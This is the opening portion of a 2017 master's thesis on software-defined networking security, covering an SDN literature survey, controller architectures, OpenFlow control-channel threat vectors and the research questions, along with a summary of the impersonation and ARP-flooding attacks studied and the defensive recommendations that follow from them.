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Preface

This report is the result of my Master Thesis Research, with which I hope to complete my Double Degree in
Computer Science and Electrical Engineering. In this research, I have investigated the security of software-
defined networking (SDN) where I have chosen to focus on the control-data plane communications, or the
so-called control channel. This research is done at the IT security company Fox IT. For them, it is important
that this report can serve as a reference guide to security challenges in SDN for both own employees and
others, such that this knowledge can be used when working with SDN in the future.

For me, the field of SDN and deep-dive into OpenFlow turned out to be a perfect fit given my interest
in network architectures and protocols, while at the same time I was able to work on an ever more relevant
topic: security. One of my personal goals for this thesis research was to create a solid combination between
theory (one of my strengths) and practice (the direction I wanted to grow in). In my opinion, I succeed in this.
One of the parts I loved most during this year was the ‘hacking’ and ‘breaking’. I want to thank my supervisor
Francisco for giving me the freedom to form this research to accomplish my goals and encouraging me to
perform even more attacks just to see what is possible. Without this encouragement, I am sure it would have
resulted in a pretty boring thesis.

M.L. Pors
Delft, June 2017
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Summary

As originally defined, Software-Defined Networking (SDN) refers to a network architecture where the for-
warding state in the data plane is managed by a remote control plane decoupled from the former. As a result,
network devices become simple forwarding elements, while the complete control logic is moved to an ex-
ternal entity, the so-called controller. The network becomes programmable through software applications
running on top of this controller that interacts with the underlying data plane devices over the so-called con-
trol channel. On this channel a specific protocol is used, of which OpenFlow is the best known example.

While the programmability of the network offers new possibilities for security solutions, the security of
the network itself is still a challenge which has obstructed the total take-over of SDN in enterprise networks.
Three security challenges which are specific SDN threats are: (1) there is a lack of trust mechanisms between
the controller and applications, meaning that malicious applications can easily be deployed on the network,
(2) there can be attacks on and vulnerabilities in the controller and a compromised controller may compro-
mise the entire network, and (3) the network can be attacked over the control channel, making it possible to
exploit the communication with the controller.

In this research, we have focused on the third problem and investigated the security of the control channel.
Specifically, we have limited our research to OpenFlow networks and investigated four different SDN con-
trollers: Ryu, ONOS, OpenDaylight and HPE VAN. We looked at the security of the control channel from an
attacker’s point of view and searched for possible vulnerabilities from three angles.

First, we investigated the possibilities for attackers who are in possession of a direct connection towards
a controller or network device and are able to (mis)use the OpenFlow protocol. Using self-written scripts, we
are able to find and identify OpenFlow connections and even perform impersonation attacks. By imperson-
ating a switch towards a controller, an attacker is able to directly influence the controller’s view of the network
which could influence the controller’s decisions. By impersonating a controller towards a switch, an attacker
is able to alter the functionality of the switch, influencing traffic forwarding. This gives possibilities for attacks
like eavesdropping or man-in-the-middle attacks.

Second, we investigated whether the deployment of authentication methods serves as a countermeasure
against the attacks found above. We did this by getting hands-on experience with Secure Sockets Layer and
Transport Layer Security (SSL/TLS) in SDN. Using one-way authentication where only the controller needs to
authenticate itself, we see that an attacker is still able to impersonate switches. With two-way authentication,
we see that the control channel is completely protected. However, there are still challenges which arise, one of
which is the potential tedious key and certificate management which discourage network architects to deploy
SSL/TLS.

Last, we tried to attack the network while being a regular host. While we are not able to directly create
OpenFlow traffic, there are other types of messages which generate traffic towards the controller. We have
created an attack which uses the Address Resolution Protocol (ARP) to generate such traffic, to that extent
that we are able to flood memory of the network switches and even accomplish denial-of-service by flooding
the controller with OpenFlow traffic which it needs to process.

Given our findings, there are three recommendations we give to improve the security of the control channel:
network architects (1) must set up an isolated control channel, such that attackers don’t have the possibility
to access the control channel and misuse OpenFlow, (2) should always deploy two-way SSL/TLS to protect
the control channel and (3) should try to reduce the amount of traffic on the control channel.

To find correct solutions for the third recommendation, extra research is needed. Also, it will be important
for network architects to investigate the future of the SDN architecture which will probably influence the
security of SDN. While the scope of this research was rather broad, one limitation is that it is unknown how
relevant it stays due to the fast changes in the SDN world. The main development which will influence the
security of the lower part of the network (and thus the control channel) is the programmability of the data
plane, adding intelligence to the network devices. This will probably contribute to solutions for the reduction
of the communication between the data plane and controller.
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1
Introduction to Software-Defined

Networking

1.1. Towards Software-Defined Networks
The complexity of IP networks stems from three key issues. First, these networks are vertically integrated.
The control plane, that decides how to handle network traffic, and the data plane, that simply forwards traffic
according to the decisions made by the control plane, are bundled inside the networking devices. Second,
we have a management layer where network policy is actually defined with the use of software services, such
as services to remotely monitor and configure the control functionality. In the past, different vendors offered
proprietary solutions with specialized hardware and control programs, such that network operators would
have to acquire and maintain these different solutions and corresponding specialized teams. Last, it turned
out that within the network there was a lack of in-path functionalities, which could be added by again new
specialized components and middleboxes like firewalls and intrusion detection systems. As a result, to ex-
press the required high-level network policies, network operators need to configure each individual network
device separately using vendor-specific and low-level commands.

Network complexity has been reducing flexibility and hindering innovation and evolution of the network-
ing infrastructure. As a response, the wish arised to break the vertical integration, separating the network’s
control logic from the underlying routers and switches. The first systems following this wish date from 2006.
In this year, Secure Architecture for Network Enterprise (SANE) [1] was proposed, where network connectivity
is mediated by a single protection layer overseen by a logically centralized controller. In addition, the same
writers proposed Ethane [2] in 2007, a security management architecture where simple flow-based switches
work below a central controller managing admittance and routing of the flows.

As originally defined, Software-Defined Networking (SDN) refers to a network architecture where the for-
warding state in the data plane is managed by a remote control plane (or, the controller) decoupled from the
former [3]. The rise of the paradigm started when researchers defined the first protocols / application pro-
gramming interfaces (APIs) for the communication between the controller and the data plane. The most no-
table example of such an API is OpenFlow (OF) [4], which originates from 2008. SDN and OpenFlow started
as academic experiments, but in 2011 the Open Networking Foundation (ONF) [5] was founded, with the
main goal of promotion and adoption of SDN through open standards development. ONF has been funded
by (amongst others) Google, Facebook and Microsoft.

Nowadays, most vendors of commercial switches include support of the OpenFlow API in their equip-
ment and the first SDN/OpenFlow deployments have arised. One of the first and largest of these deploy-
ments is Google’s B4 Wide Area Network (WAN) [6], which has been running since 2010. B4 is a great example
for the potential that comes with SDN to dramatically simplify network management and enable innovation
and evolution. Namely, in B4, standard routing protocols and centralized traffic engineering are supported
simultaneously. In this network the traffic engineering service drives links to near 100% utilization, where
WAN links typically are provisioned to 30-40% utilization.

Despite the potential SDN brings and the numerous researches towards SDN solutions, there are still key
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2 1. Introduction to Software-Defined Networking

challenges which obstruct the adoption of SDN in enterprises [3, 7, 8]. Examples of these challenges are scal-
ability, flexibility and security. In this research the focus will be on the security challenges. Namely, besides
that we need to know how to implement threat detection and mitigation, it turns out that the decoupled con-
trol layer introduces a new collection of security challenges. For example, what happens when the controller
doesn’t function well? A compromised controller may compromise the entire network.

Before investigating security challenges of SDN, it is important to have a complete understanding of the
paradigm itself. Therefore, this chapter functions as a literature survey towards SDN in general. We will look
into the architecture of SDN itself, as well as into the details of the control layer and its interfaces. Most
principles explained in this chapter will be referred to in the next chapters. In Chapter 2 we will start diving
into SDN security in general, before focusing on particular problems and research questions in the rest of this
research.

1.2. What is Software-Defined Networking?
Originally stated, a Software-Defined Network is a network where the forwarding state in the data plane is
managed by a decoupled, remote control plane. [3] defines an SDN as a network architecture with the follow-
ing four pillars:

1. The control and data planes are decoupled, which results in network devices becoming simple (packet)
forwarding elements.

2. Forwarding decisions are flow-based, instead of destination-based. In the SDN/OpenFlow context, a
flow is a sequence of packets between a source and a destination, which (thus) all receive identical
service policies at the forwarding devices.

3. The control logic is moved to an external entity, the so-called SDN controller or Network Operating
System (NOS).

4. The network is programmable through software applications running on top of the NOS that interacts
with the underlying data plane devices.

Figure 1.1: Software-Defined Networks in (a) planes, (b) layers, and (c) system design architecture [3]

Given these pillars, the SDN architecture can be viewed in different perspectives, show in Fig. 1.1. As stated,
the data plane will contain simple forwarding elements, to which different hosts are connected. The forward-
ing elements use information in their so-called flow tables to find out where to forward packets to. The control
plane is the layer where all calculations are done and decisions are made. The controller has knowledge of
the network topology, performs routing and informs the forwarding elements in the layer below by updating
their flow tables. This is done using the southbound interface, using a protocol such as OpenFlow [4]. Just
as in traditional networks, the top layer is the management plane. In the SDN context this layer contains
network applications, which are used to be the ‘network brains’ [3]. They implement the control-logic that
will be translated into commands to be installed in the data plane, dictating the behavior of the forwarding
devices. The translation process is done by the controller. Examples of network applications are mobility
management, traffic monitoring and load balancing.
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The software-defined network forwarding functionality is intuitively explained in [7]. The process starts when
a switch, say S1, receives the first packet of a new flow from a host (the sender). At this moment, S1 checks for
a flow rule for this packet in his personal flow table. If a matching entry is found, the instructions associated
with the specific flow entry (e.g. update the counter, action set or metadata) are executed and packets are
forwarded towards the receiver. If no match is found in the flow table, the packet may be forwarded to the
controller over a secure channel. The controller then executes the routing algorithm and adds a new forward-
ing entry to the flow table of S1 and to each of the relevant switches along the flow path. Finally, S1 forwards
the packet to the appropriate port to send the packets to(wards) the receiver.

As is clear, the controller can add, update and delete flow entries. It can do this reactively and/or proac-
tively. The example above is one of a reactive flow instantiation, where the controller only acts in response to
received packets from switches. In the proactive case, flow tables are populated beforehand like it is done in
a typical routing table in current networks. Proactive flow tables eliminate any latency induced by consulting
a controller on every flow, because most of the times, the flows are already installed before communication
is initiated. Although both types of flow instantiation are possible, one should always keep in mind that the
eventual behavior of the controller is completely determined by its implementation.

1.3. Concepts related to SDN
One who is doing research on software-defined networking will almost always come across other new (net-
working) concepts. Currently in the enterprise world, people get more and more interested in concepts like
network automation, network virtualization and software-defined infrastructure, while not always knowing
the difference. Coming with this trend, well-known ‘networking bloggers’, such as Matt Oswalt [9], try to
clarify the differences and relations between these concepts. Because this research is performed in an enter-
prise environment (Fox IT), we will shortly expand on the differences between SDN and the concepts named
above.

Network automation
Firstly, software-defined networking is not the same as network automation. An example of network au-
tomation is the automatically processing of configuration changes in a consistent manner - an important
challenge in current (and future) networks. The industry is in agreement that network automation should be
pursued in all future networks. While SDN is not network automation by design, is does introduce possibili-
ties for automation by creating new programmable possibilities for network management and configuration
methods.

Software-Defined Infrastructure (SDI)
Secondly, SDN is sometimes seen as an implementation of software-Defined Infrastructure (SDI). However,
in first instance SDI is not related to the actual network while SDN is. SDI is focused on providing efficient
IT services by servicing workloads automatically by the most appropriate resources and is used for analytics,
mobile, social and cloud environments / applications. To provide these solutions, it could be the case that
the SDI uses a software-defined network, but it could also rely on other network architectures.

SDN and Network Function Virtualization (NFV)
Lastly, SDN is sometimes mistaken for network virtualization. A well-known virtualization concept is Net-
work Function Virtualization (NFV) [10], a concept born October 2012. Here, the idea is to decouple network
functions (NFs) from the physical devices on which they run. A NF is a functional block within a network
infrastructure that has well-defined external interfaces and well-defined functional behavior, such as DHCP
servers and firewalls. In short, one wants to virtualize network functions as an alternative to using high-cost,
purpose-built appliances.

NFV and SDN have a lot in common since they both advocate for a passage towards open software and
standard network hardware. They may also be highly complimentary, which means that combining them in
one networking solution may lead to greater value. However, they are different concepts, aimed at address-
ing different aspects of a software-driven networking solution. NFV aims at decoupling NFs from specialized
hardware elements while SDN focuses on separating the handling of packets and connections from overall
network control. Also, the research in NFV is driven by different telecom service providers and is formal-
ized by the European Telecommunications Standards Institute (ETSI). The comparison of the SDN and NFV
concept is summarized in Fig. 1.2.
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Figure 1.2: Table comparing the SDN and NFV concepts. [10]

1.4. The SDN controller
With the separation of the control- and data plane, network switches become simple forwarding devices and
the control logic is implemented in a logically centralized controller or network operating system (NOS). The
controller or NOS follows the same functionality as traditional operating systems, to provide abstractions,
essential services and common APIs to developers. The control platform abstracts the lower-level details of
connecting and interacting with forwarding devices and is therefore a critical element in an SDN architecture.
In this section we will look into the control layer and its connection to the data plane in full detail.

There are a variety of core controller functions that every controller should provide [3]. First, these are
functions like program execution, I/O operations control and communications, following base services of
an operating system. Second come essential network control functionalities that network applications may
use in building its logic, such as topology, statistics and shortest path forwarding. Last, a controller needs
to support security mechanisms to provide basic isolation and security enforcement between services and
applications. For instance, a controller needs to make sure that rules generated by high priority services
should not be overwritten with rules created by lower priority applications.

1.4.1. Controller architecture
Although the controller is always logically centralized, it is important to emphasize that this programmatic
model does not postulate a physically centralized system. Current controller implementations follow a cen-
tralized or distributed architecture [3].

When having a centralized controller, we have a single entity that manages all forwarding devices of the
network. Naturally, it represents a single point of failure and may have scaling limitations. Most centralized
controllers have been designed as highly concurrent systems to achieve high throughput required by enter-
prise class networks and data centers.

A distributed controller can be a centralized cluster of nodes or a physically distributed set of elements.
The first alternative can offer high throughput for very dense data centers, while the second can be more
resilient to different kinds of logical and physical failures. Distributed controllers need to deal with data
consistency. Controllers support a weak or strong consistency model. Naturally, a strong consistency needs
a lot of updates to keep all nodes informed at all times, which has an impact on the system performance. In
systems with weak consistency it could be the case that, for a period of time, distinct nodes read different
values for a same property. Distributed controllers communicate with each other over the so-called east-
/westbound interface, following the names of the interfaces between the different layers.

1.4.2. The north- and southbound interface
As can be seen in Fig. 1.1, the control layer is connected to the management plane (the network applications)
via the northbound interface and to the data plane via the southbound interface. Controllers differ in what
kind of APIs they support on these interfaces. At the northbound interface, most controller implementations
support all kind of APIs as long as they follow the constraints of the architectural style REST (Representational
State Transfer) [11]. An example of an RESTful protocol is HTTP. Further elaboration on REST lies out of the
scope of this research. An interested reader is adviced to start at [11].

The southbound interface is where the communication between the controller and forwarding devices of
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the SDN architecture is defined. The standard communication interface which is supported by almost every
controller is OpenFlow (OF) [4]. Currently OpenFlow versions up to 1.5 exist, while version 1.3 (v0x04, or
OF1.3) is seen as the most important version. It differs which version is supported by different controllers
and forwarding devices.

While OpenFlow efficiently manages flows and determines how packets are forwarded through the net-
work, it does not provide the configuration and management functions necessary to allocate ports or assign
IP addresses. For this, configuration protocols are designed, which are usually combined with OpenFlow.
Two of such protocols are OF-Config [12] and the Open vSwitch Database Management Protocol (OVSDB)
[13, 14]. As the names suggest, OF-Config was designed to apply to all OpenFlow implementations (on both
physical and virtual switches), while OVSDB was designed specifically to manage Open vSwitch implemen-
tations. A third management protocol is NETCONF [15]. As a last example there is OpFlex [16], which is a
protocol which focuses on the translation of network policies to actions inside networking devices.

1.4.3. Control channel architecture
Most of the time it is said that the communication between the controller and data plane is transferred over
a control channel. There are two different ways of handling this communication (i.e. handling the OpenFlow
connections). The connections can either use a dedicated control network separated from other network
traffic, or the OF packets can be transmitted over the same physical network as the actual network traffic.
In this scenario, control traffic may be sent through other OF switches. The first method is referred to as a
out-of-band control channel and the latter as a in-band control channel, depicted in Fig. 1.3.

As will be elaborated on in Chapter 3, the used control channel affects the security of the controller-switch
communication. Shortly, out-of-band control is less vulnerable to attacks but more expensive because of the
need for separate cabling and interfaces.

Figure 1.3: Example of a small network using a in-band control channel (left) or a out-of-band control channel (right). In the in-band
case, control and data packets are transported over the same physical connections.

1.4.4. Advances in controller implementations
Nowadays, a variety of controller implementations exists, which follow different architectures and are written
in different programming languages. Table 1.1 shows a list of the most well-known SDN controllers, with their
architecture and programming language. To support the global idea to open standards in networking, almost
all controllers are Open Source software. For a more elaborate list of SDN controllers, one should consult [3].

The first highly popular OpenFlow controller was NOX [17]. Although it is not heavily implemented or
used because of shortcomings with its implementation and development environment, it was the initial spark
for SDN. NOX used to support both C++ and Python, but nowadays the Python support is provided by its
successor POX [18], which was built as a friendlier alternative. Another friendly SDN controller that uses
Python is Ryu [19], which is well-known particular in university environments, because it is relatively easy to
setup an SDN in Python and Ryu supports the OpenFlow 1.3 version (and higher).

The next big step in open source controllers came with Beacon [20]. Beacon is known as a well written
and organized SDN controller, written in Java and is integrated into the Eclipse IDE. Beacon’s successor is
Floodlight [21]. As Ryu, Floodlight supports the OpenFlow 1.3 version. Attractive about Floodlight is that it
has a large number of features that can be added to create a system that best meets the requirements of a
specific organization, and that it has both a web based and a Java based GUI. Beacon, Floodlight and Trema
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Controller Architecture Prog. Language OF support
NOX [17] centralized C++ v1.0
POX [18] centralized Python v1.0
Ryu NOS [19] centralized Python v1.{0,2,3,4,5}
Beacon [20] centralized multi-threaded Java v1.0
Floodlight [21] centralized multi-threaded Java v1.{0,3}
Trema [22] centralized multi-threaded Ruby, C v1.0
Onix [23] distributed Python, C v1.0
ONOS [24] distributed Java v1.{0,3,4,5}
OpenDaylight [25] distributed Java v1.{0,3}

Table 1.1: Overview of the architecture and programming language of some well-known SDN controllers

[22] (a controller for Ruby) are known to be centralized multi-threaded controllers. They target specific envi-
ronments such as data centers and try to explore the parallelism of multi-core computer architectures.

Besides the centralized controllers, Onix [23], ONOS [24] and OpenDaylight [25] are well-known dis-
tributed controllers. Although it is more difficult to get started with these controllers, one sees that these
controllers are more focused on industrial use. Like Floodlight, both ONOS and OpenDaylight have a num-
ber of pluggable modules that can be used to alter it to the needs of an organization. In fact, the two con-
trollers are much alike, but they show a difference in focus [26]. Namely, while ONOS has focused on service
providers’ needs, OpenDaylight was created to be the ‘Linux of networking’: one platform to have a very long
life and enable people to build a wide range of solutions to solve a wide range of problems. As an example,
ONOS has a role as a local controller for AT&T, while AT&T is using the OpenDaylight controller as its basis
for its global SDN controller.

The popularity of each controller is indirectly determined by the version of OpenFlow it supports. In practice,
we see that controllers which don’t support OF1.3 don’t have an active community which focuses on further
development of the controller. Currently, OpenDaylight is leading the transformation to Open SDN and is
regarded as the industry’s de facto standard. Its release supports both SDN and NFV and is intended to be
scaled to very large sizes.

Specialized implementations
Shortly stated, the controllers in Table 1.1 can be seen as ‘general purpose’ SDN controllers. During the evo-
lution of SDN, solutions to different identified problems are created. These solutions occur as network appli-
cations implemented on top of a controller, extensions to existing controllers (such as NOX) but also as new
controllers which specialize in solving one or more existing problems. In the latter category, Rosemary [27]
offers specific functionality to guarantee the security and isolation of applications. Fleet [28] is a distributed
controller which aims to solve the malicious administrators problem. Well-known responses to shortcomings
in the NOX controller are implemented in FortNOX [29] and FRESCO [30]. We will look deeper into these and
other specialized implementations in Section 2.3.

Commercial controllers
The controllers elaborated on above are controllers which find their origin in the academic world. Nowadays,
development of ONOS and OpenDaylight are supported by the Linux Foundation [31] and Open Network
Foundation [5]. Besides this also commercial controllers arise, from companies such as Juniper Networks,
Cisco and Hewlett Packard Enterprise (HP(E)). During this research, we experimented with the HPE Virtual
Application Networks (VAN) SDN controller1 [32]. While commercial, this controller can be freely down-
loaded for trial use. HPE VAN is a controller which has a lot in common with OpenDaylight. This is due
to the fact that before focusing on a own controller, HPE contributed a lot of code towards OpenDaylight.
Eventually, the HPE VAN controller differs from OpenDaylight in focus, because it focuses on deployment in
‘campus’ networks. HPE VAN supports OpenFlow 1.3 and also has a web based GUI to configure the controller
and load different modules.

1Information about and support with this controller was received via direct contact with employees at HP Enterprise.



2
Introduction to SDN Security

Software-defined networks encounter a variety of challenges which have obstructed the total take-over of
SDN in enterprise networks [7, 8], one of these being security. Current SDN-based security research can be
categorized into two branches [8]: (1) research geared towards protecting the network, which deals with secu-
rity configuration, threat detection, remediation and verification in and using SDN and (2) research focusing
on providing security as a service, elaborating on the development of innovative security capabilities that can
be instantiated on-the-fly using SDN. Our research falls in the first category, and the goal of this chapter is
to provide an introduction to the security of SDN itself. We will also define our research questions for the
remainder of this study.

First, Section 2.1 will explain what the conceptual SDN threat vectors are and give some concrete exam-
ples of (general) security challenges. After this, we will start focusing on the security of the control channel,
while focusing less on experimental research towards the security of controller applications, management
layer and thus the application-control plane. We use Section 2.2 to elaborate on the motivation for this choice,
define our research questions and set out the structure for the rest of the report. While our experimental re-
search will focus on the lower part of the network, for completeness, Section 2.3 discusses the studies towards
security challenges and solutions for the upper part of the network we’ve encountered during the literature
study.

A note on robustness, resilience and security
In the evolution of the SDN paradigm, three terms have played an important role: Security, robustness and
resilience. Before going on, it is important to know the difference between these three concepts. Namely,
although these terms lie closely together and have to do with network failures, they are distinct.

First, robustness is a network property. It can be seen as adding ‘redundancy’ to the network, such that
if a failure happens, traffic can be rerouted. Resilience is linked to robustness and is defined as the ability to
recover the control logic after a failure [33]. Here, the emphasis is more on the protocols [34] and algorithms
[35] in fail-over than the actual added redundancy.

Robustness and resilience can be discussed in context of any type of failure. These failures can also be
the result of malicious behavior or attacks. Following this context, security is the protection against malicious
behavior.

2.1. SDN Threat Vectors
SDNs have two properties which can be seen as attractive honeypots for malicious users and a source of
headaches for less prepared network operators [36]. First, the software which gives us the ability to control
the network is always subject to bugs and other vulnerabilities. Second, the centralization of the network
intelligence in the controller means that anyone with access to the servers that host the control software can
potentially control the entire network - making it very attractive for attackers to focus their attacks on the
controller. As an specific example, a malicious controller (or application) could be used to reprogram the
entire network for data theft purposes in a data center.

The critical security threats of SDN are identified with the use of threat vectors [3, 36], which are shown in
Fig. 2.1. Some of these vectors are also common to existing networks, while others are more specific to SDN.

7
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Figure 2.1: Main threat vectors of SDN architectures (left) [36] and a simplified version of the threat vectors specific to SDN (right).

As will turn out, almost every threat vector can be exploited to reach the controller and damage the network.
Below we will shortly discuss all threat vectors. A summary is given in Table 2.1.

The first threat vector consists of forged or faked traffic flows in the data plane, which can be used to attack
forwarding devices and controllers. An example is the creation of a denial-of-service (DoS) attack against
OF switches and controller resources, which could eventually bring down the controller. Threat vector two
stands for attacks on vulnerabilities in switches itself, which could be used to drop or slow down packets in
the network. It could even be possible to forge requests to overload the controller or neighboring switches.

Vectors three, four and five are seen as the most dangerous ones, because via these ways network opera-
tion could be completely compromised. These vectors are SDN specific, and symbolize attacks on the control
plane communications (control channel), attacks on and vulnerabilities in controllers and the lack of mech-
anisms to ensure trust between the controller and management applications. Trust issues can also arise on
the control channel; here between controller(s) and forwarding device(s). From both the northbound- and
southbound interface it could therefore be possible to reach the controller via compromised components.
Vulnerabilities in controllers (threat vector four) are dangerous because the use of a common intrusion de-
tection system may not be enough to find the exact combination of events that trigger a particular behavior
in the controller, and to label this as malicious.

The sixth threat vector symbolizes attacks on and vulnerabilities in administrative stations which, as it
is also common in traditional networks, are used in SDNs to access the network controller. Also here, it
is possible for malicious users to reach the controller. The last threat vector represents the lack of trusted
resources for forensics and remediation, which can compromise investigations and preclude fast and secure
recovery modes for bringing the network back into a safe operation condition.

# Description Consequences in SDN
1 Forged / faked traffic flows Open door for (D)DoS attacks
2 Attacks on and vulnerabilities in switches Potential attack inflation
3 Attacks on the control channel Communication with the controller can be

explored / exploited
4 Attacks on and vulnerabilities in controllers A compromised controller may compromise the

entire network
5 Lack of trust mechanism between controller and

applications
Malicious applications can now be easily
developed and deployed on controllers

6 Attacks on and vulnerabilities in administrative
stations

Potential attack inflation, can eventually reach
the controller

7 Lack of trusted resources for forensics and
remediation

Negative impact on fast recovery and fault
diagnosis

Table 2.1: Overview of SDN security threat vectors. Vectors 3, 4 and 5 are SDN specific threats.
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2.1.1. Examples of security challenges
Using the conceptual threat vectors, we can come up with several examples of security challenges. Denial-
of-service (DoS) was already mentioned above as something that can initiated from the forwarding devices.
Although it is not a SDN specific threat, it is an important security challenge. [37] gives a feasibility study
where a so-called fingerprinting method is used as a first step towards a DoS attack in an reactive SDN (where
flow tables are filled in response of communication, as explained in Section 1.2). The fingerprinting method
is used to measure the delay experienced by the first packet of a flow to infer that the target network is a
reactive SDN, after which a DoS can be initiated. Besides this, as stated in [3], every network should also be
protected against security issues like spoofing, tampering, repudiation, information disclosure and elevation
of privilege. Again, these are no SDN specific threats, but should also be considered in SDN environments.

Another important security concern for the control channel is that the use of encryption here is optional.
While stated mandatory in OF1.0, the usage of Secure Sockets Layer (SSL) and Transport Layer Security (TLS)
was changed to an optional feature in OF1.3 and higher. The usage of encryption has a large influence on the
security of the control channel.

As discussed, threat vector four concerns vulnerabilities in controllers. [27] states that current controllers
such as Floodlight, OpenDaylight, POX and Beacon have several security and resilience issues. As an example,
a simple malicious action such as changing the value of a data structure in memory can also directly affect
the operation and reliability of the controllers.

Attack possibilities can also arise due to network applications. A concrete example is the GUI application
for controllers like ONOS and OpenDaylight. This application is accessed via HTTP, where the administrator
needs to enter his login credentials. [38] shows how one can retrieve these credentials using a man-in-the-
middle (MitM) attack, after which one is capable to login to the controller GUI. Depending on the possible
functions the GUI has implemented, in the worst case an attacker can take over the entire network.

Also, extra measures need to be taken into account when we use controllers with a distributed architec-
ture. In an interview [39], Chris Hoff (Chief Security Architect at Juniper Networks) states that the centralized
controller architecture with a single controller that configures the network will not be the architecture that
makes it to deployment. He expects there to be multiple controllers in heterogeneous environments interact-
ing with lots of other controllers. In this case, one needs to make sure that the communication between the
different controllers (the east-/westbound interface) is secured and every controller knows which controller
is to be trusted.

Lastly, policy enforcement is widely researched in SDN, as we will see in Section 2.3. Policy enforcement (also
know as policy conflict resolution) is not directly a weakness, but could be as soon as it is not implemented
well. It will be a direct threat when a malicious application wants to make changes to the eventual forwarding
rules, but the controller should also make sure that the policies of ‘correct’ applications can be carried out in
the network at moments that they push their policies on top of each other. A controller needs to make sure
that rules generated by high priority services should not be overwritten with rules created by lower priority
applications. For clarity, policy enforcement falls into the category of threat vector five.

2.2. Investigating SDN Security
Given our conceptual understanding of SDN security challenges, for this research it was important to define
a delimited area which is going to be investigated in full detail. For this decision several things played a role,
such as the research environment and outcome of the literature study. In this section, we will define the
research questions and associated structure for the remainder of this report.

2.2.1. Research motivation
From Section 2.1 it is clear that the introduction of the separate control plane leads to new security threat
vectors, concerning the controller itself as well as its relation (and communication) with network applications
and forwarding devices. From a controller’s perspective we can describe these new threats in a simplified
manner as depicted on the right of Fig. 2.1. Shortly, the controller can be attacked/compromised via the
northbound interface, via the southbound interface or via direct attacks or vulnerabilities. This simplified
view is used to define our research area.

From the literature study, it became clear that vector five has been investigated the most, resulting in solu-
tions for network verification and policy enforcement, with the goal that the controller can support multiple
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network applications and is protected against malicious ones. This trend somewhat conflicts with security
analyses presented to date (such as [40]), which focus on control-data plane issues. Besides this, most pro-
posed security solutions presume that there are no network design vulnerabilities with the protocol, thus that
the OpenFlow communication is ‘safe’ - while this is not necessarily so.

Another way to draw a line is as follows: Anomalies at the northbound interface can arise due to incorrect
management of desired network functionality, while problems at the control channel and dataplane itself
are due to concrete malicious actions which influence the security of the network ‘core’. This research is
performed with help of the IT Security company Fox IT, which houses a large audits department where there
is a lot of knowledge about networking and networking protocols (in general). To use the available knowledge
of the company to its fullest and at the same time provide a study which is useful for different IT security
companies and has scientific merit, we want to focus on an research direction which can be approached
like we are playing ‘attackers’. Namely, while security analyses do focus on the issues on the lower part of
the network, they do not focus on the particular ways to perform possible attacks [40]. As follows from the
mindset at Fox IT, this is a good way to gain much knowledge about a problem. With this in mind, it is more
beneficial to investigate the security of the network core instead of network management.

It turns out that it is less applicable to search towards vulnerabilities in controllers. Vulnerabilities in con-
trollers (and other software programs) can be triggered by changing the value of a data structure in memory.
Attackers most of the time find these kind of vulnerabilities by doing ‘trial-and-error’. Trying to find new
ones in existing controllers will therefore not lead to a structured research. Besides this, because the SDN
and its controller are currently ‘hot’ topics, it could be the case that found vulnerabilities are resolved in next
controller updates.

2.2.2. Research questions
From above, it is clear that we will focus on the security of the software-defined network’s core. We will
perform our investigation in a layered approach. Firstly, we will focus on the control channel and OpenFlow,
to see which vulnerabilities arise in the protocol and what kind of attacks are possible when for example a
switch is taken over by a malicious user. Examples of attacks we look into are controller hijacking and flow rule
modification, both issues which are not yet investigated in full detail [40]. Secondly, we focus on the current
state of SSL/TLS in SDN to see to what extent this solves problems. Lastly, we look into the possibilities hosts
have to attack an SDN without usage of OpenFlow messages. Here we try to create feasible scenarios for a
denial-of-service attack, to get an insight whether this is indeed as easy as literature states.

Concretely, we try to answer the following research questions:

1. Is it possible to misuse the OpenFlow protocol to attack forwarding devices, controllers or the control
channel in general and what possibilities lie there for a malicious user who has taken over a network
component?

2. Does the usage of SSL/TLS solve problems found in the previous question and is it always feasible as a
solution or does it introduce new problems?

3. In what ways can a regular host damage an SDN?

In order to aid in finding answers to the research questions, sub-questions will be formulated at the begin-
ning of each chapter where we focus on a particular question. The layered approach is chosen such that in
its totality, this research can be used by security experts (such as those at Fox IT) new in the field of SDN. The
overall goal of the research is to provide security experts and network architects a kind of directive for when
they are checking the security guarantees of future software-defined networks. It is therefore also a goal to
provide some ‘best practices’ when creating an SDN. Clearly, during this research not only SDN specific prob-
lems are investigated but also traditional problems which perhaps will change form when applied to SDN.

In this research, we will not investigate the security of the upper part of the network. For completeness we
include some findings of the literature study where we did encounter solutions for problems which arise
here. These solutions are discussed below in Section 2.3, mostly for the interested reader. Also, vulnerabilities
in the controller itself and eventual problems which arise with controller-to-controller communication (the
east-/westboundinterface) will not be investigated.
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Solution Implementation Vector Main Purpose

FortNOX (2012) [29] NOX controller extension 5 Security flow rules prioritization
(network verification)

FLOVER (2013) [46] NOX controller extension 5 Security flow rules prioritization
(network verification)

SE-Floodlight (2015) [47] Floodlight controller extension 5 Multi-app support
(incl. network verification)

FRESCO (2013) [30] API layer on top of (Fort)NOX 4, 5 Providing a framework for
security services composition

Rosemary (2014) [27] (centralized) NOS / Controller 4, 5 Offering security and isolation
of applications

Fleet (2014) [28] (distributed) NOS / Controller 6 Solving the malicious
administrator problem

Table 2.2: SDN solutions mentioned in Section 2.3, how they are implemented, which threat vector they target and their main purpose.

2.2.3. Report outline and research approach
The outline for the remainder of this report follows our research questions: We answer the first in Chapter 3,
the second in Chapter 4 and the third in Chapter 5. Using our answers, we conclude this report with Chapter 6,
where we discuss the implications on and best practices for the security of the SDN control-data plane.

As stated before, in each chapter we will formulate sub-questions to aid us in finding answers to the re-
search questions. The answers to the sub-questions are (mostly) found in an experimental way, performing
different attacks. Before focusing on these attacks in detail, we will shortly discuss a threat model to clearly
state situation and the possibilities (capabilities) of the attacker performing that attack.

Our experiments are performed in both a simulated and a small physical SDN environment. In this first
case, we rely on Mininet [41] to setup an SDN network, where the used virtual switches are Open vSwitch
[42]. In all our setups, all entities only have an IPv4 address. The physical network is built using the Zodiac
FX OpenFlow switch [43]. Network traffic is investigated using Wireshark [44]. The scripts we’ve written are
written in Python and rely on OpenFlow 1.3 [45]. The investigated SDN controllers are Ryu [19], ONOS [24],
OpenDaylight [25] and HPE VAN [32]. The controllers are used in their standard implementation, no code is
altered. As extra information: for Ryu, we ran the simple_switch_13.py module and for OpenDaylight, we
installed the odl-l2switch-switch and odl-dlux-all features which are provided by OpenDaylight itself.

In our report, we will elaborate on the exact experimental setup, attack implementations and used soft-
ware and hardware per experiment. Also, Appendix C elaborates more on particular used hardware and soft-
ware in order to give additional explanations for those who are interested to use these products for own ex-
periments.

